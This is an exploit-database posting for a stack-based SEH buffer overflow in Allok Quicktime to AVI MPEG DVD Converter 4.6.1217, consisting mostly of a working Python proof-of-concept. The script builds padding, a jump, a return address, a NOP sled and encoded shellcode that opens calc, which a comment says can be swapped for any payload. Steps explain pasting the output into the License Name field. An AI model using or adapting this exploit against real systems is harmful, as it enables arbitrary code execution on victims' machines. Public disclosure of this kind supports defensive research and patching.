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Allok Quicktime To AVI MPEG DVD Converter 4.6.1217 Buffer Overflow

Allok Quicktime To AVI MPEG DVD Converter 4.6.1217 Buffer Overflow
Posted Mar 23, 2018
Authored by Velayutham Selvaraj, Mohan Ravichandran

Allok Quicktime to AVI MPEG DVD Converter version 4.6.1217 suffers from a stack-based buffer overflow vulnerability.

tags | exploit, overflow
MD5 | 24d9f8804241491b78178e44739d1cc8

Allok Quicktime To AVI MPEG DVD Converter 4.6.1217 Buffer Overflow

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# SWAMI KARUPASAMI THUNAI

###############################################################################
# Exploit Title: Allok Video Converter - Buffer Overflow Vulnerability (Windows XP SP3)
# Date: 06-03-2018
# Exploit Author: Mohan Ravichandran & Velayutham Selvaraj
# Organization : TwinTech Solutions
# Vulnerable Software: Allok Video Converter
# Vendor Homepage: http://www.alloksoft.com
# Version: 4.6.1217
# Software Link: http://www.alloksoft.com/allok_vconverter.exe
# Tested On: Windows XP Service Pack 3 (Version 2002)
#
# Credit to Velayutham Selvaraj for discovering the Vulnerbility
# Vulnerability Disclosure Date : 2018-03-06
#
# Manual steps to reproduce the vulnerability ...
#1. Download and install the "setup(allok_vconverter.exe)" file
#2. Run this exploit code via python 2.7
#3. A file "exploit.txt" will be created
#4. Copy the contents of the file and paste in the License Name field
# Name > exploit.txt
#5. Type some random character in License Code
#6. Click Register and voila !
#7. Boom calculator opens
#
##############################################################################
import struct

file = open("exploit.txt","wb")
buflen = 4000
junk = "A" * 780
nseh = "\x90\x90\xeb\x10"
seh = struct.pack("<L",0x10019A09)
nops = "\x90" * 20
# The below shellcode will open calculator, but can be modified by need.
shellcode = ""
shellcode +="\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
shellcode +="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
shellcode +="\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
shellcode +="\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
shellcode +="\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
shellcode +="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
shellcode +="\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
shellcode +="\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
shellcode +="\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
shellcode +="\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
shellcode +="\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
shellcode +="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
shellcode +="\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
shellcode +="\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
shellcode +="\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
shellcode +="\xc4\xd9"
exploit = junk + nseh + seh + nops + shellcode
fillers = buflen - len(exploit)
buf = exploit + "D" * fillers
file.write(buf)
file.close()

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